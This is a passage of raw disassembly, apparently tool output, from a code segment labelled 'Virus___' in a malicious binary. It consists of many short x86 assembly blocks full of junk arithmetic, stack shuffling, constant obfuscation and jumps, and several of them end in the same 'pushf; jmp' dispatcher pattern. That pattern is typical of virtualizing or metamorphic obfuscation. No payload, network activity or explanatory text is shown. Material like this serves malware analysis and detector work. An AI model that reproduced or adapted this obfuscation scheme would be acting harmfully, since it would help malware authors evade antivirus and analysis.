; ---------------------------------------------------------------------------


loc_5930D1:				; CODE XREF: Virus___:0059278Ej
		pop	ebx
		sub	esp, 4
		mov	[esp], eax
		mov	al, cl
		jmp	loc_58BA31
; ---------------------------------------------------------------------------


loc_5930DF:				; CODE XREF: Virus___:00589FE6j
		push	4A6Dh
		mov	[esp], ecx
		mov	ecx, 347A455Bh
		not	ecx
		push	edi
		mov	edi, 0B56BC1CDh
		xor	ecx, edi
		jmp	loc_585D43
; ---------------------------------------------------------------------------


loc_5930FB:				; CODE XREF: Virus___:0058FF87j
		mov	ebx, 43893398h
		or	edx, ebx
		pop	ebx
		sub	edx, 0F0CF3862h
		and	ebp, edx
		jmp	loc_588EB2
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_593DF8
; ---------------------------------------------------------------------------


loc_593123:				; CODE XREF: Virus___:0058B29Ej
		push	ax
		mov	al, 50h
		xor	bh, al
		jmp	loc_58663B
; ---------------------------------------------------------------------------


loc_59312E:				; CODE XREF: Virus___:00584AFDj
		pop	ebp
		add	edi, 4BB2782Bh
		jmp	loc_591A5D
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_58FFC5
; ---------------------------------------------------------------------------


loc_593143:				; CODE XREF: Virus___:0058DEADj
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_590F86
; ---------------------------------------------------------------------------


loc_59314F:				; CODE XREF: Virus___:0059038Bj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		shl	dword ptr [esp], cl
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_593175:				; CODE XREF: Virus___:005820FEj
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_5804C3
; ---------------------------------------------------------------------------


loc_593183:				; CODE XREF: Virus___:005924D9j
		pop	ebx
		shr	esi, 1
		push	esi
		not	dword ptr [esp]
		pop	esi
		xor	esi, 0CDD0D47Ch
		add	edx, 0D883753h
		sub	edx, esi
		push	edi
		mov	edi, 7EBE64BAh
		jmp	loc_58C747
; ---------------------------------------------------------------------------


loc_5931A4:				; CODE XREF: Virus___:0058006Cj
		add	esp, 4
		add	esp, 4
		jmp	loc_593739
; ---------------------------------------------------------------------------


loc_5931B2:				; CODE XREF: Virus___:005877ADj
		pop	ebx
		sub	edx, 44FC3DF5h
		sub	edx, 1A872217h
		add	edx, 6F1B5996h
		add	edx, 27DA0E87h
		add	edx, eax
		sub	edx, 27DA0E87h
		sub	edx, 6F1B5996h
		add	edx, 1A872217h
		add	edx, 44FC3DF5h
		push	eax
		mov	eax, 3CB16897h
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4B194F57h
		add	edx, 7DDF41A2h
		add	edx, eax
		jmp	loc_5851DF
; ---------------------------------------------------------------------------


loc_593203:				; CODE XREF: Virus___:0058C228j
		mov	esi, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		push	esi
		mov	esi, 7295AC7h
		shr	esi, 8
		neg	esi
		shr	esi, 7
		neg	esi
		sub	esi, 0FE000E4Fh
		add	edi, esi
		jmp	loc_58190A
; ---------------------------------------------------------------------------


loc_59322C:				; CODE XREF: Virus___:00592D7Fj
		push	5Ch
		push	esp
		jmp	loc_58C1DA
; ---------------------------------------------------------------------------


loc_593237:				; CODE XREF: Virus___:0058D6CEj
		mov	[esp], ebx
		mov	ebx, 52717D82h
		push	edx
		mov	edx, 19C91926h
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 343330B9h
		sub	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_588D3B
; ---------------------------------------------------------------------------


loc_59325D:				; CODE XREF: Virus___:0057F86Dj
		push	4C962FD0h
		pop	ebx
		neg	ebx
		sub	ebx, 0B369D02Eh
		push	ebx
		sub	dword ptr [esp], 66703348h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_590950
; ---------------------------------------------------------------------------


loc_59327E:				; CODE XREF: Virus___:0058E415j
		xor	[esp], edx
		jmp	loc_57FBF9
; ---------------------------------------------------------------------------


loc_593286:				; CODE XREF: Virus___:0058B3F8j
		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	ecx, 0C90243DCh
		push	eax
		push	60CA6F8Bh
		pop	eax
		add	esi, eax
		pop	eax
		jmp	loc_58FAD1
; ---------------------------------------------------------------------------


loc_5932A3:				; CODE XREF: Virus___:00588B75j
		push	edx
		push	ecx
		push	3BFB1A59h
		pop	ecx
		jmp	loc_593C70
; ---------------------------------------------------------------------------


loc_5932B0:				; CODE XREF: Virus___:0057FE8Dj
		push	ebp
		jmp	loc_58A6BB
; ---------------------------------------------------------------------------


loc_5932B6:				; CODE XREF: Virus___:00590E89j
		xchg	ebp, [esp]
		pop	esp
		add	edi, esi
		jmp	loc_58223F
; ---------------------------------------------------------------------------


loc_5932C1:				; CODE XREF: Virus___:00581104j
		pop	eax
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_594240
; ---------------------------------------------------------------------------


loc_5932D4:				; CODE XREF: Virus___:005838D2j
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_59141E
; ---------------------------------------------------------------------------


loc_5932DF:				; CODE XREF: Virus___:00588728j
		or	ch, 0A2h
		add	ch, 4
		and	ch, 74h
		xor	ch, 54h
		jmp	loc_58A3CE
; ---------------------------------------------------------------------------


loc_5932F0:				; CODE XREF: Virus___:005906ABj
		push	dword ptr [esp]
		jmp	loc_5908B0
; ---------------------------------------------------------------------------


loc_5932F8:				; CODE XREF: Virus___:0058DDCAj
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_584637
; ---------------------------------------------------------------------------


loc_59330A:				; CODE XREF: Virus___:00592883j
		sub	ebp, 0C1378EE1h
		sub	ecx, 4DDB7F77h
		sub	ecx, ebp
		jmp	loc_5840B8
; ---------------------------------------------------------------------------


loc_59331D:				; CODE XREF: Virus___:005928A1j
		mov	edi, [esp]
		push	35BEh
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_58DC26
; ---------------------------------------------------------------------------


loc_59332F:				; CODE XREF: Virus___:0058175Bj
		mov	ebx, 2
		add	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_580483
; ---------------------------------------------------------------------------


loc_593344:				; CODE XREF: Virus___:0058C0E4j
		dec	dword ptr [esp]
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_59334D:				; CODE XREF: Virus___:0058A883j
		mov	edx, 1B9E6916h
		jmp	loc_591A90
; ---------------------------------------------------------------------------


loc_593357:				; CODE XREF: Virus___:00587D25j
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_5856C8
; ---------------------------------------------------------------------------


loc_593365:				; CODE XREF: Virus___:00583380j
		add	esp, 4
		and	ebx, eax
		pop	eax
		jmp	loc_584D0B
; ---------------------------------------------------------------------------


loc_593373:				; CODE XREF: Virus___:0057FD5Bj
		push	53A1h
		jmp	loc_5802A4
; ---------------------------------------------------------------------------


loc_59337D:				; CODE XREF: Virus___:0058CC56j
		push	78E5h
		jmp	loc_585867
; ---------------------------------------------------------------------------


loc_593387:				; CODE XREF: Virus___:00583E64j
		xor	[eax], edx
		pop	eax
		jmp	loc_5892B5
; ---------------------------------------------------------------------------


loc_59338F:				; CODE XREF: Virus___:00582F2Dj
		mov	ebx, 60412AFDh
		sub	ebx, 0EA3AF8FFh
		xor	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	0
		sub	[esp], eax
		pop	eax
		add	eax, 36070A5h
		sub	eax, 1A582987h
		add	eax, 567C1081h
		jmp	loc_5833D2
; ---------------------------------------------------------------------------


loc_5933BF:				; CODE XREF: Virus___:0058F7ACj
		mov	ecx, 570E1962h
		add	edx, ecx
		pop	ecx
		pop	eax
		not	edx
		xor	edx, 0E4B6D673h
		jmp	loc_5857D0
; ---------------------------------------------------------------------------


loc_5933D5:				; CODE XREF: Virus___:00586B41j
		xor	ebp, 19D372BCh
		sub	eax, 2C5F0BF5h
		add	eax, ebp
		add	eax, 2C5F0BF5h
		pop	ebp
		jmp	loc_585DFF
; ---------------------------------------------------------------------------


loc_5933ED:				; CODE XREF: Virus___:0058232Fj
		sub	[esp+4], ecx
		sub	dword ptr [esp+4], 24ED5E45h
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 16CE488Ch
		inc	ebx
		sub	ebx, 3DFA48EAh
		add	ebx, 272C0061h
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		push	4D92h
		mov	[esp], ebx
		push	24EEh
		jmp	loc_58183B
; ---------------------------------------------------------------------------


loc_593444:				; CODE XREF: Virus___:0058E9C6j
		shr	ecx, 2
		jmp	loc_589134
; ---------------------------------------------------------------------------


loc_59344C:				; CODE XREF: Virus___:0058F1A6j
		not	ecx
		and	ecx, 50705659h
		jmp	loc_58191E
; ---------------------------------------------------------------------------


loc_593459:				; CODE XREF: Virus___:00585EFDj
		xor	ebp, 2B4553FAh
		push	eax
		jmp	loc_58ED84
; ---------------------------------------------------------------------------


loc_593465:				; CODE XREF: Virus___:005859FFj
		add	ebx, eax
		pop	eax
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_58DA86
; ---------------------------------------------------------------------------


loc_593476:				; CODE XREF: Virus___:00582989j
		add	esp, 4
		jmp	loc_58DAE2
; ---------------------------------------------------------------------------


loc_593481:				; CODE XREF: Virus___:0058B9ABj
		test	cx, ax
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_59348A:				; CODE XREF: Virus___:005828B0j
		pop	ebp
		sub	eax, 0FFFFFFFFh
		jmp	loc_594417
; ---------------------------------------------------------------------------


loc_593495:				; CODE XREF: Virus___:0058602Ej
		mov	eax, 79401525h
		xor	ecx, eax
		mov	eax, [esp]
		push	edi
		jmp	loc_58435C
; ---------------------------------------------------------------------------


loc_5934A5:				; CODE XREF: Virus___:0058482Ej
		mov	edi, 2
		add	eax, edi
		pop	edi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		bt	[esp], ax
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_5934C4:				; CODE XREF: Virus___:0058A325j
		add	eax, ebp
		pop	ebp
		push	ebp
		mov	ebp, 1B8F7BC2h
		shl	ebp, 6
		xor	ebp, ebx
		xor	ebx, ebp
		jmp	loc_5898F7
; ---------------------------------------------------------------------------


loc_5934D9:				; CODE XREF: Virus___:0058430Ej
		push	ebx
		jmp	loc_5924CC
; ---------------------------------------------------------------------------


loc_5934DF:				; CODE XREF: Virus___:0059111Dj
		mov	[esp], ebp
		mov	ebp, 42975FE3h
		add	eax, 1FCA21FDh
		add	eax, ebp
		jmp	loc_586D46
; ---------------------------------------------------------------------------


loc_5934F3:				; CODE XREF: Virus___:00585043j
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	edi
		push	eax
		push	627C74C7h
		pop	eax
		dec	eax
		xor	eax, 627C74C2h
		mov	edi, eax
		pop	eax
		add	ecx, edi
		pop	edi
		push	ebx
		push	edx
		jmp	loc_591FB1
; ---------------------------------------------------------------------------


loc_593513:				; CODE XREF: Virus___:0058416Ej
		not	dl
		jmp	loc_5864B1
; ---------------------------------------------------------------------------


loc_59351A:				; CODE XREF: Virus___:005855E8j
		mov	eax, [esp]
		jmp	loc_585D31
; ---------------------------------------------------------------------------


loc_593522:				; CODE XREF: Virus___:00590640j
		push	eax
		mov	ah, 5Ch
		mov	dh, 5Bh
		sub	dh, ah
		pop	eax
		jmp	loc_5919EA
; ---------------------------------------------------------------------------


loc_59352F:				; CODE XREF: Virus___:0058EA4Cj
		push	eax
		mov	al, 0A0h
		mov	dh, al
		pop	eax
		dec	dh
		or	dh, 0E3h
		jmp	loc_587AAF
; ---------------------------------------------------------------------------


loc_59353F:				; CODE XREF: Virus___:00593D19j
		pop	esp
		jmp	loc_58539C
; ---------------------------------------------------------------------------


loc_593545:				; CODE XREF: Virus___:00591FC3j
		push	3C21h
		mov	[esp], eax
		push	esp
		jmp	loc_586893
; ---------------------------------------------------------------------------


loc_593553:				; CODE XREF: Virus___:0058742Aj
		pop	ecx
		jmp	loc_588941
; ---------------------------------------------------------------------------


loc_593559:				; CODE XREF: Virus___:00584236j
		sub	ebp, 6E1E6863h
		jmp	loc_588D98
; ---------------------------------------------------------------------------


loc_593564:				; CODE XREF: Virus___:0058D298j
		pop	ecx
		dec	eax
		jmp	loc_58BC6B
; ---------------------------------------------------------------------------


loc_59356B:				; CODE XREF: Virus___:00580466j
		push	edi
		mov	edi, 5BD86D76h
		jmp	loc_58115E
; ---------------------------------------------------------------------------


loc_593576:				; CODE XREF: Virus___:0058D8CAj
		add	esp, 4
		jmp	loc_589827
; ---------------------------------------------------------------------------


loc_593581:				; CODE XREF: Virus___:0058959Aj
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		push	edi
		mov	edi, 37052FEAh
		or	edi, 390A2107h
		shl	edi, 8
		jmp	loc_5883F7
; ---------------------------------------------------------------------------


loc_59359B:				; CODE XREF: Virus___:0058712Fj
		pop	eax
		push	esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_58E1A6
; ---------------------------------------------------------------------------


loc_5935B0:				; CODE XREF: Virus___:0058E2ACj
		add	al, bl
		jmp	loc_58D29D
; ---------------------------------------------------------------------------


loc_5935B7:				; CODE XREF: Virus___:005827BDj
		sub	eax, ebx
		pop	ebx
		push	edx
		mov	edx, 947CE53Eh
		sub	eax, edx
		jmp	loc_5894F8
; ---------------------------------------------------------------------------


loc_5935C7:				; CODE XREF: Virus___:005915F6j
		not	ebp
		inc	ebp
		add	ebp, 534A3D20h
		sub	edi, 762B35C7h
		jmp	loc_591BF3
; ---------------------------------------------------------------------------


loc_5935DB:				; CODE XREF: Virus___:00583297j
		mov	[esp], eax
		mov	ah, 0C2h
		mov	bl, 0F6h
		xor	bl, ah
		mov	eax, [esp]
		jmp	loc_58F7C8
; ---------------------------------------------------------------------------


loc_5935EC:				; CODE XREF: Virus___:0058D3B8j
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_58247A
; ---------------------------------------------------------------------------


loc_5935FA:				; CODE XREF: Virus___:00580C26j
		add	esp, 4
		jmp	loc_58831F
; ---------------------------------------------------------------------------


loc_593602:				; CODE XREF: Virus___:00587F3Aj
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_57F46D
; ---------------------------------------------------------------------------


loc_59360C:				; CODE XREF: Virus___:00584325j
		mov	esp, [esp]
		jmp	loc_585A2D
; ---------------------------------------------------------------------------


loc_593614:				; CODE XREF: Virus___:00588FCBj
		mov	esp, [esp]
		jmp	loc_591B49
; ---------------------------------------------------------------------------


loc_59361C:				; CODE XREF: Virus___:00585A59j
		mov	eax, [esp]
		add	esp, 4
		shr	ebx, 6
		xor	ebx, 7BDFB477h
		sub	esi, 604410B7h
		add	esi, ebx
		add	esi, 604410B7h
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_58A49E
; ---------------------------------------------------------------------------


loc_593644:				; CODE XREF: Virus___:00586E4Fj
		add	edi, 4F617F6Eh
		mov	ecx, [esp]
		add	esp, 4
		sub	edi, 2
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_58CB5E
; ---------------------------------------------------------------------------


loc_593661:				; CODE XREF: Virus___:005813F9j
		mov	eax, [esp]
		add	esp, 4
		push	21B1h
		mov	[esp], edi
		push	ecx
		mov	ecx, 2
		mov	edi, ecx
		pop	ecx
		add	ebp, edi
		pop	edi
		push	420Eh
		jmp	loc_589593
; ---------------------------------------------------------------------------


loc_593688:				; CODE XREF: Virus___:00584053j
		add	dl, bh
		pop	bx
		mov	bl, dl
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_59263B
; ---------------------------------------------------------------------------


loc_59369C:				; CODE XREF: Virus___:0058624Fj
		push	edx
		mov	edx, 4
		jmp	loc_593DBB
; ---------------------------------------------------------------------------


loc_5936A7:				; CODE XREF: Virus___:00583E09j
		push	ebx
		push	esp
		pop	ebx
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_58254D
; ---------------------------------------------------------------------------


loc_5936C1:				; CODE XREF: Virus___:0058A449j
		push	esi
		mov	esi, esp
		jmp	loc_583870
; ---------------------------------------------------------------------------


loc_5936C9:				; CODE XREF: Virus___:0058D118j
		mov	ecx, 426E485Ah
		jmp	loc_5832A7
; ---------------------------------------------------------------------------


loc_5936D3:				; CODE XREF: Virus___:005929A2j
		mov	[esp], eax
		push	249Ch
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_58E114
; ---------------------------------------------------------------------------


loc_5936E6:				; CODE XREF: Virus___:00589CDAj
		xor	[esp], edi
		jmp	loc_5826FE
; ---------------------------------------------------------------------------


loc_5936EE:				; CODE XREF: Virus___:00580898j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_58E536
; ---------------------------------------------------------------------------


loc_59370A:				; CODE XREF: Virus___:0058C856j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	esi
		mov	esi, 4
		jmp	loc_57FD9A
; ---------------------------------------------------------------------------


loc_59371F:				; CODE XREF: Virus___:0058CFB5j
		mov	esp, [esp]
		add	[esp], al
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_59372B:				; CODE XREF: Virus___:00589D81j
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		jmp	loc_590622
; ---------------------------------------------------------------------------


loc_593739:				; CODE XREF: Virus___:005931ADj
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5894D1
; ---------------------------------------------------------------------------


loc_593747:				; CODE XREF: Virus___:00592C92j
		pop	esp
		push	eax
		jmp	loc_587CAC
; ---------------------------------------------------------------------------


loc_59374E:				; CODE XREF: Virus___:0058A0E4j
		pop	ebx
		sub	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		push	3783h
		mov	[esp], esp
		jmp	loc_58CA4F
; ---------------------------------------------------------------------------


loc_593766:				; CODE XREF: Virus___:005891F2j
		pop	eax
		shl	edx, 1
		neg	edx
		dec	edx
		xor	edx, 0C8B878BAh
		add	eax, edx
		jmp	loc_57FEED
; ---------------------------------------------------------------------------


loc_593779:				; CODE XREF: Virus___:00587E41j
		mov	ebx, 7FC621FFh
		shl	ebx, 1
		shr	ebx, 1
		push	edx
		jmp	loc_5868EC
; ---------------------------------------------------------------------------


loc_593788:				; CODE XREF: Virus___:005939ACj
		pop	dword ptr [esp]
		push	678Ch
		mov	[esp], edi
		mov	edi, 6550478Ah
		jmp	loc_592A34
; ---------------------------------------------------------------------------


loc_59379D:				; CODE XREF: Virus___:0058907Cj
		push	esi
		push	3A5A6E0Eh
		mov	esi, [esp]
		add	esp, 4
		push	4B68h
		mov	[esp], eax
		mov	eax, 37CE7FF3h
		jmp	loc_58B49E
; ---------------------------------------------------------------------------


loc_5937BB:				; CODE XREF: Virus___:00584B47j
		push	ebp
		push	612h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_58B104
; ---------------------------------------------------------------------------


loc_5937D0:				; CODE XREF: Virus___:005816FCj
		add	esp, 4
		push	ebx
		push	1AC56129h
		jmp	loc_591D09
; ---------------------------------------------------------------------------


loc_5937DE:				; CODE XREF: Virus___:0058CD76j
		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	7591h
		mov	[esp], esi
		jmp	loc_589F7F
; ---------------------------------------------------------------------------


loc_5937F3:				; CODE XREF: Virus___:0058DE23j
		sub	edi, ebp
		pop	ebp
		and	eax, edi
		pop	edi
		push	ecx
		push	edi
		push	27512D57h
		pop	edi
		inc	edi
		xchg	eax, edi
		jmp	loc_58418F
; ---------------------------------------------------------------------------


loc_593808:				; CODE XREF: Virus___:0057FF93j
		mov	esp, [esp]
		push	eax
		sub	esp, 4
		jmp	loc_58C377
; ---------------------------------------------------------------------------


loc_593814:				; CODE XREF: Virus___:0058E2A3j
		push	ebx
		mov	ebx, 66FB4C44h
		or	ebx, 5976065Dh
		jmp	loc_585A94
; ---------------------------------------------------------------------------


loc_593825:				; CODE XREF: Virus___:00580D7Fj
		inc	dl
		add	dl, 8Eh
		mov	bl, dl
		pop	edx
		jmp	loc_58A855
; ---------------------------------------------------------------------------


loc_593832:				; CODE XREF: Virus___:0058097Cj
		inc	esi
		shr	esi, 7
		push	edx
		push	ebp
		mov	ebp, 2BA13764h
		shr	ebp, 2
		shl	ebp, 8
		shr	ebp, 2
		xor	ebp, 63A3019Ah
		push	ebp
		jmp	loc_580F54
; ---------------------------------------------------------------------------


loc_593852:				; CODE XREF: Virus___:0058D920j
		add	edi, 3A581CE7h
		shl	edi, 8
		add	edi, 9FC437A5h
		add	esi, 0EE030D1h
		sub	esi, edi
		sub	esi, 0EE030D1h
		jmp	loc_592733
; ---------------------------------------------------------------------------


loc_593874:				; CODE XREF: Virus___:0057FF1Ej
		pop	ebx
		push	ecx
		mov	ecx, 1CEB0A52h
		push	edi
		mov	edi, 4ADCCCF3h
		sub	ecx, edi
		pop	edi
		add	edx, ecx
		jmp	loc_592D19
; ---------------------------------------------------------------------------


loc_59388B:				; CODE XREF: Virus___:0058C1F1j
		mov	bl, 0EAh
		jmp	loc_586728
; ---------------------------------------------------------------------------


loc_593892:				; CODE XREF: Virus___:00582BABj
		neg	eax
		sub	eax, 108E6972h
		push	ebx
		mov	ebx, 907CF589h
		jmp	loc_59126F
; ---------------------------------------------------------------------------


loc_5938A4:				; CODE XREF: Virus___:00580EA8j
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		push	ebx
		mov	ebx, 3F5B72D3h
		mov	ecx, ebx
		pop	ebx
		and	ecx, 4F055D6Ah
		shl	ecx, 8
		push	eax
		mov	eax, 25EF67DEh
		xor	eax, 647C01FDh
		sub	eax, 11E44D28h
		push	edx
		jmp	loc_58C86E
; ---------------------------------------------------------------------------


loc_5938DF:				; CODE XREF: Virus___:00584DCAj
		mov	eax, 3DDF2CA0h
		jmp	loc_5920D3
; ---------------------------------------------------------------------------


loc_5938E9:				; CODE XREF: Virus___:0058776Aj
		mov	[esp], edi
		mov	edi, 3EE32345h
		shr	edi, 2
		sub	edi, 0E8B76556h
		sub	eax, edi
		pop	edi
		jmp	loc_58877A
; ---------------------------------------------------------------------------


loc_593902:				; CODE XREF: Virus___:00587D50j
		pop	esi
		and	ebx, ebp
		jmp	loc_58778F
; ---------------------------------------------------------------------------


loc_59390A:				; CODE XREF: Virus___:005805EAj
		sub	edx, eax
		push	691Ah
		mov	[esp], ebp
		mov	ebp, 41ED2B36h
		add	edx, ebp
		pop	ebp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_58C241
; ---------------------------------------------------------------------------


loc_59392B:				; CODE XREF: Virus___:00585ED6j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		xor	[esp], ax
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_593941:				; CODE XREF: Virus___:0058A006j
		push	ebx
		mov	ebx, 40267977h
		mov	esi, ebx
		jmp	loc_590706
; ---------------------------------------------------------------------------


loc_59394E:				; CODE XREF: Virus___:00590F10j
		xor	ebx, 0E7141F03h
		add	edi, ebx
		pop	ebx
		mov	edx, edi
		pop	edi
		and	ebx, edx
		pop	edx
		push	esi
		mov	esi, 298AFFFCh
		sub	ebx, esi
		pop	esi
		add	ebp, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	edx
		sub	esp, 4
		jmp	loc_58E3E3
; ---------------------------------------------------------------------------


loc_59397B:				; CODE XREF: Virus___:005909A9j
		add	esi, edx
		push	dword ptr [esp]
		pop	edx
		push	ebx
		jmp	loc_589D59
; ---------------------------------------------------------------------------


loc_593987:				; CODE XREF: Virus___:0058B2D2j
		pop	esi
		add	ebx, 7C2649BEh
		jmp	loc_587B58
; ---------------------------------------------------------------------------


loc_593993:				; CODE XREF: Virus___:00586777j
		mov	ch, 26h
		jmp	loc_58D5A2
; ---------------------------------------------------------------------------


loc_59399A:				; CODE XREF: Virus___:0058DC64j
		mov	ebp, edi
		jmp	loc_587F3F
; ---------------------------------------------------------------------------


loc_5939A1:				; CODE XREF: Virus___:0058580Cj
		push	dword ptr [esp]
		pop	ecx
		push	edx
		push	317Eh
		push	esp
		jmp	loc_593788
; ---------------------------------------------------------------------------


loc_5939B1:				; CODE XREF: Virus___:005855A5j
		push	edx
		mov	edx, 3275108h
		shl	edx, 7
		jmp	loc_585959
; ---------------------------------------------------------------------------


loc_5939BF:				; CODE XREF: Virus___:00588EADj
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_5906D9
; ---------------------------------------------------------------------------


loc_5939D2:				; CODE XREF: Virus___:0058E2BFj
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_58F43A
; ---------------------------------------------------------------------------


loc_5939DD:				; CODE XREF: Virus___:00584C08j
		not	dword ptr [esp]
		pop	edx
		push	6DE5h
		mov	[esp], ebx
		jmp	loc_593D1E
; ---------------------------------------------------------------------------


loc_5939EE:				; CODE XREF: Virus___:0057F8F5j
		add	esp, 4
		push	esi
		mov	esi, 2
		jmp	loc_58955D
; ---------------------------------------------------------------------------


loc_5939FC:				; CODE XREF: Virus___:005886D1j
		mov	ebp, 68F24BA6h
		xor	ecx, ebp
		pop	ebp
		xor	ecx, 3E982564h
		dec	ecx
		shl	ecx, 2
		xor	ecx, 722D6FECh
		jmp	loc_5826F3
; ---------------------------------------------------------------------------


loc_593A19:				; CODE XREF: Virus___:0058683Bj
		mov	[esp], edi
		pop	eax
		pop	edi
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 5DA776FFh
		xor	edi, 1EB97679h
		add	edi, 0ACAEAA7Fh
		add	eax, edi
		pop	edi
		jmp	loc_584896
; ---------------------------------------------------------------------------


loc_593A3D:				; CODE XREF: Virus___:00580949j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	eax
		jmp	loc_58C2D5
; ---------------------------------------------------------------------------


loc_593A55:				; CODE XREF: Virus___:00586CC6j
		add	esp, 4
		jmp	loc_590E8E
; ---------------------------------------------------------------------------


loc_593A60:				; CODE XREF: Virus___:0058D8D8j
		not	ebx
		neg	ebx
		jmp	loc_58B7FD
; ---------------------------------------------------------------------------


loc_593A69:				; CODE XREF: Virus___:0058ECA0j
		xor	ebp, 6C6D4B40h
		push	edi
		mov	edi, 10DE434Fh
		and	edi, 44A060A2h
		shl	edi, 7
		dec	edi
		jmp	loc_584330
; ---------------------------------------------------------------------------


loc_593A84:				; CODE XREF: Virus___:005858A2j
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	3156h
		mov	[esp], esi
		push	29A5h
		jmp	loc_591908
; ---------------------------------------------------------------------------


loc_593AA2:				; CODE XREF: Virus___:005921B1j
		push	217Bh
		mov	[esp], ecx
		push	ebx
		push	21DE4BFCh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_58B74B
; ---------------------------------------------------------------------------


loc_593ABB:				; CODE XREF: Virus___:00585103j
		push	eax
		mov	eax, 7CD645BEh
		add	eax, 8329BA46h
		sub	ebp, eax
		jmp	loc_58044A
; ---------------------------------------------------------------------------


loc_593ACD:				; CODE XREF: Virus___:0058D45Fj
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_588F42
; ---------------------------------------------------------------------------


loc_593AE7:				; CODE XREF: Virus___:00584770j
		pop	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	edx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		shr	bh, 2
		shr	bh, 3
		shl	bh, 2
		shr	bh, 5
		jmp	loc_580D20
; ---------------------------------------------------------------------------


loc_593B19:				; CODE XREF: Virus___:005826EEj
		add	esi, 4C31236Ch
		xor	esi, 2D563E5Eh
		sub	eax, esi
		pop	esi
		push	5112h
		mov	[esp], edx
		jmp	loc_58F6AE
; ---------------------------------------------------------------------------


loc_593B35:				; CODE XREF: Virus___:005872C5j
		pop	edi
		shl	edx, 6
		add	edx, 0F7F9EC44h
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 4
		jmp	loc_57F5DC
; ---------------------------------------------------------------------------


loc_593B52:				; CODE XREF: Virus___:00582630j
		push	170Fh
		mov	[esp], ebp
		pop	ecx
		jmp	loc_58E180
; ---------------------------------------------------------------------------


loc_593B60:				; CODE XREF: Virus___:0059300Ej
		push	esi
		mov	esi, 36EC33E1h
		dec	esi
		add	esi, 561539A2h
		shl	esi, 8
		add	esi, 10BD9AF4h
		add	edx, esi
		pop	esi
		dec	edx
		inc	edx
		push	edi
		push	ebx
